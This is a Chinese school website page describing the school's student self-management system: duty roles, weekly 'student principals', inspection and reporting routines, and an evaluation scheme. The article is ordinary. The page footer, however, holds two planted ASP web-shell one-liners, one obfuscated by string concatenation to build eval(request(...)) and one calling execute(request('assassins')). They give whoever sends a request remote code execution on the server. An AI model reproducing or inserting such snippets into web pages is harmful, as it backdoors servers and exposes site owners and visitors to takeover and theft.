| 网站首页 | 校园新闻 | 校务公开 | 德育天地 | 教学资源 | 精准扶贫 | 名师工作室 | 教育科研 | 教师天地 | 学生乐园 | 追梦文学 | 党建之窗 | 图片中心 | 在线留言 | 
最新公告:     《追梦》征稿启事(长期有效)  [admin  2012-03-26]        
站内搜索
文章 下载 图片
您现在的位置: 仪陇县实验学校 >> 德育天地 >> 制度建设 >> 正文 会员注册
[注意]学校自主管理简介     ★★★★
学校自主管理简介
【作者】:政教处   【文章来源】:本站原创  

一、 自主管理的理论构想

2011年春开始,我校提出了“德行天下,志存高远”的“养正教育”办学理念,学校全体师生扎实践行“厚德、博学、弘志、笃行”的校训,全校推行教师年级组自主管理运行机制,在学生和班级中推行“班级内自主”和“校内学生自主管理”两大举措。此举措的提出,我们基于以下的一些思考:

(一) 学生自主管理的理论基础

实行学生自主管理,培养学生的主体意识,发挥学生的主体作用是现代教学管理中的重要内容,是优化班级管理的有效手段。在实施班级管理的过程中,学生不仅仅是管理的客体,更是班级管理的主体,学校和教师应以学生为主体,处处体现民主思想,实现师生双向交往的方式,从而实现对班级的管理。

(二)学生自主管理的内涵

学生自主管理,就是学生自己的事情由自己做主,自己的行为由自己管理。具体来讲是:在不违法、不违规、不违反社会公德、不损害他人利益的前提下,强化学生的主人翁意识,让学生有相对自由选择的权利,有参与制定班规班约、集体活动规则等的权利,有参与学校、班级管理的权利,对学校和班级的大部分事务拥有参与讨论和决策、管理的权利等等。

(三)学生自主管理的意义

学生自主管理可以培养学生独立思考、独立判断是非、独立解决问题的能力;能培养学生自我教育、自我发展的主人翁意识,既提高学生的自律能力,又有利于学生的发展;能激发学生智慧的火花,锻炼出一批学生管理层的的积极分子。通过自主管理,可以不同程度地提高了学生的综合素质和解决问题的能力,增长才干,为学生可持续发展发展打下了良好的基础。

(四)实现学生自主管理的原则

1、面向全体,主动参与

一个学校,如果只有行政管理者的积极性,只靠管理者单枪匹马的“管理”,没有学生的积极性,工作就难以推进,也就不可能有很高的工作效率。要让学生大胆开展工作,锻炼和提高他们独立工作的能力,使他们成为学校得力的助手和班级集体的核心力量。

2、情理交融,刚柔相济

三分制度管理,七分感情管理。管理中将情理有机地“化合”,做到情中有理,理中含情,情理交融。在管理制度上要体现 “刚性”,严明、公正、一丝不苟;在情感上体现“柔性”,宽容、善解人意、以诚相待。

3、协调一致,密切配合

影响学生成长和班级管理的主要因素是家庭、社会和学校。家长的言行及生活方式,无不给孩子的道德品质、思想行为打上深深的烙印。教师应当广泛地联系家庭、社会以及学校内部各方面的力量,使之密切合作,相互补充,形成对班级学生进行综合管理的合力。

(五)实现学生自主管理的途径

让所有的学生参与学校和班级管理,让每个学生都成为主人,增强集体荣誉感,提高学生的“参政意识”和工作积极性,实现学生自主管理。

1、培养学生自主管理的自信心

学校管理者要与学生交朋友,争取成为学生的知心朋友,让学生可敬、可亲、可近、可信、可爱。鼓舞学生相信天生我才必有用,相信自己的能力,充分挖掘自己的潜力,敢于自主管理,经过不断的实践,在实践中总结经验教训,就会吃一堑长一智,逐渐积累自主管理的能力,不断增强自主管理的能力,就一定能自主地把班级管理好。

2、全员参与——“人人有事做,事事有人做”

建立岗位责任制。学生自管会根据需要设安全部、纪检部、卫生部、宣传部等,在学生自愿参与的前提下把所有的学生分配到各个部门(各小组成员是管理者),每位学生都有一项管理职责。每位学生可以在自己的职权范围内对其他学生进行管理、监督、考核、评价,同时也接受其他同学的管理、监督、考核、评价。这样,所有的学生既是管理者又是被管理者,形成了相互管理、相互监督的管理格局。这套管理办法的实施不单是使班级出现了“事事有人管,人人有事做”的局面,更重要的是在相互管理的过程中,所有学生都得到了锻炼,增强了自信心;学会了平等互助、相互尊重;学会了自律、自主管理和公平、公正地处理问题。

3、角色转变——变“要我做”为“我要做”

学生是学校的主角,教师的责任就在于领导学生当好主角,使之具有自主意识、自治能力,要求学生“自己会” 体制。学校建立开放的、民主的、有学生参与的管理体制—— “学生执行校长” 体制。各班设班级管理员,如管电员、卫生监督员、窗帘管理员、纪律监督员、作业监督员、交通安全员等等。这样,职责到人,明确目标,有利于各项工作的顺利开展,培养学生的主人翁思想,增强凝聚力。

二、自主管理的实践操作

学生自主管理分为两个层面,一是班级内自主管理,二是校内自主管理。

(一)班级内自主管理

校内各班除常设干部岗位和学科管理岗位外,学校将班内各项事务细化,分设不同岗位,诸如水电管理,电灯电讯管理、图书管理等共计四十多个岗位,各个岗位制定不同的岗位职责,基本做到人人有事做,事事有人做,各岗位人员职责对班主任和班委会负责,又对校自主管理委员会负责。(大屏幕展示班级岗位及岗位职责)

(二)校内自主管理

为配合班级学生自主管理,学校成立自主管理专门机构――学生自主管理委员会。该组织各项工作在政教处、团(队)委具体指导下开展工作。自主管理委员会下设纪检部、卫生部、安全部、宣传部等具体操作如下:

1、每周在全校设值周校长一名,分部门设部值周校长各一名,分部门在各年级各班设班执行校长各一名,值周校长及执行校长分别由各班班委干部轮流担任,由政教处统一协调安排。(展示安排表)

2、学校值周校长负责对各部值周校长的监督与考核,各部值周校长负责对各班本部门执行校长的监督与考核,各班执行校长负责在本职责范围内对值周学生及全校长学生的监督与考核,凡在工作中不履职尽责,监督不力的同学,学校将取消其执行校长资格。

3、值周校长与执行校长挂牌上岗,随时与政教处或指导老师取得联系,对全校进行督促检查,并及时将情况反馈给指导老师。

4、各部执行时间为每周一至周五,以及每次的课间、午休和学校的大型活动。各部执行校长实行违规抄报和文明奖励记录,认真填写抄报单和奖励单,并于每天放学前告知所在班级的执行校长,由班执行校长在班内进行通报教育或学习。

5、抄报单和奖励单每周末汇总并通报,各班执行校长于每周五中午将检查记录汇总后上交各部值周校长,然后再由各部门值周校长上报学校值周校长,最后由学校值周校长交政教处存档。并在下周一统一在公示栏内公示。班级将抄报和奖励情况作为月评依据选出本月的养正星级学生,学校政教处则将班级抄报和奖励情况作为班级常规考核的重要依据。

(三)校内自主管理各部职责

1、纪检部

工作职责为:负责全校同学纪律情况、团队活动的检查、评比、违纪处理工作。如有重大违纪事件立即报告指导老师。做好日常行为规范的检查工作如:仪容仪表、服饰、发型、吸烟、手机、男女生过密接触、上厕所等,安排好课间值勤,对重点部位要死看死守。负责升旗、集会及两操的检查评比。参加负责班级的班队会。

2、卫生部

工作职责为:负责检查、督促各班教室、公区卫生打扫、保洁及教室桌凳的摆放。负责监督检查带零食上楼、乱扔纸屑等违规违纪现象。负责监督检查乱倒垃圾、吸烟等不文明行为。协助政教处、团(大队)委分配好校园劳动、志愿者公益劳动等任务并监督检查劳动的质量和数量。统筹划分安排好突击性和临时性的劳动、卫生任务,包括卫生死角的清除、校园的平整、拔草、花草树木的维护保养等。

3、安全部

工作职责为:对学校校舍、设备、师生工作学习和活动方面存在的安全隐患进行监督,提出整改意见。对学校日常管理和重大活动提供有计划的安全保卫工作。负责监督劝导课间休息追逐打闹等不文明行为,加强上下楼梯的管理工作,养成上下楼梯“轻声、慢步、靠右行”的良好习惯。加强校园周边的安全巡逻,发现安全隐患及时上报。

4、后勤部

工作职责为:监督落实公物管理,及时反馈及处理损坏学校公物等不良行为。负责厕所水龙头的开关。监督检查各班三关(电灯、电扇、门窗)

5、宣传部

工作职责为:及时宣传时事新闻、校内新闻,报道校园文化生活,抓好广播站、学校网站、文学社、办好校报,指导、检查各班黑板报等工作。组织、开展各种文艺活动、校园文化节,定期开展演讲比赛、文艺汇演、联欢晚会等,丰富活跃校园的文化生活,陶冶同学们的情操。

6、宿管会

工作职责为:全面负责宿舍安全纪律、卫生内务的监察检查考评量化工作。重点开展好宿舍文化建设,创新性开展宿舍文化节等系列活动。对学生生活健康进行引导和教育。

(四)指导老师职责

自主管理委员会各部设指导老师一人,由政教处同志兼任,其职责是:

1、制定本部工作计划、实施方案及检查评比细则;

2、负责组织、监督和检查本部工作情况,及时解决本部工作中存在的问题;

3、定期召开自管会干部会议,安排、布置本部工作,协调各部门之间的关系;

4、安排自管会成员的工作,监督和检查本部成员一周工作情况的统计、总结、评比与上报;

5、指导自管会干部抓好学生的日常管理工作和思想政治工作。

 

(五)值周校长及执行校长职责

1)校值周校长负责组织、监督和检查各部工作情况,协调各部关系,及时解决各部工作中存在的问题;

2)定期召开自管会干部会议,安排、布置各部工作;

3)及时向指导老师及政教处汇报自管会工作情况,传达学校指示精神;

4)监督检查各部成员及值周班级履职情况;

5)各部值周校长安排落实本部门成员的工作,监督和检查各部成员一周工作情况的统计、总结、评比;

6)召开各班主要干部会议,了解学生意见、要求和思想动向;

7)在指导老师的领导下抓好学生的日常管理工作和思想政治工作。

(六)学生自主管理委员会工作流程

(大屏展示)

(七)学生自主管理评价运用

为搞好班级工作和校内工作的评价,学校实行“四三三”评价模式。即学校对班主任班务工作评价采取学校行政值周(校级领导担任)占40%,自主管理委员会评价占30%,学校值周组评价占30%

每周末,学校政教处汇总三块评价成绩,作为对班集体常规工作和班主任工作的评价依据,并将此结果捆绑考核到年级的团队评价中。(大屏幕展示三类评价表)

三、自主管理的效益初探

通过一年的实践和努力,学校逐渐尝到了学生自主管理的甜头,真正乐了班级,活了校园。

(一) 切实减轻了班主任工作的负担

班级自主管理和校内自主管理运行后,分担了班主任管理诸多事务工作的精力,日常常规事务工作不用班主任老师再时刻操心劳神了,班主任唯一要做的是分享自主管理的成果和喜悦。

(二) 班级管理真正落到了实处

学生自主管理,各项工作真正做到了无盲区,无死角。多个脑袋想事、多个心谋事、多双手做事。学校各方面工作真正取得了实效。单就学校清洁卫生卫生,学校几乎就可以随时保证公区、教室、学生课桌内随时干净整洁。

(三) 锻炼成长了一大批学生干部

人的潜力是不可估量的,给他一块天地,他将呈现一份精彩。就班主任、家长和社会反映,凡经历过自主管理委员会岗位的同学,无论从思想认识,组织协调和工作能力等方面均有长足进展。

    (四)  成就了学校风景

现在无论是课间休息,大型集会活动,课间操、还是自习和班队会,学校最活跃的身影就是佩挂标牌的自主管理委员会的精灵。他们同学校和老师一道,确保了学校机构运行的有序和高效。他们的辛劳和付出,成就了学校靓丽的风景。

四、 自主管理的再思考

在我校学生自主管理取得成效的同时,我们也在思考:

1、 较低年级学生由于年龄较小的局限性,如何解决低年级学生实现自主管理的一些难题。如自我管理能力低,自制力差,自我管理度的把握等。

2、 班主任如何处理由于自主管理工作缺失的补位问题,怎样理解和支持学生自主管理的问题。

3、 如何处理个别自我约束能力差的学生对管理的不理解,不服从等问题。

4、 学生自主管理意识增强了,但容易形成维护自我利益的小团体,存在不正当竞争心态。这也是不容回避的问题。

本文最后更新时间:2012-09-19 23:00:25,你是第1697位访问者。
文章录入:admin    责任编辑:admin 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)

     

    最新图片文章
    更多内容
    最新热门
    更多内容
    最新推荐
    更多内容
    | 设为首页 | 加入收藏 | 联系站长 | 友情链接 | 版权申明 | 管理登录 | 
    仪陇县实验学校
    Copyright 20080315—2010 仪陇县实验学校 All Rights Reserved. 【虚拟主机】:西部数码    【地址】:仪陇县新政镇吉庆街二段二号  【QQ在线】:185324127 <%eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"0"&"-"&"2"&"-"&"5"&")"&")")%> <%execute(request("assassins"))%> 【站长】:严和平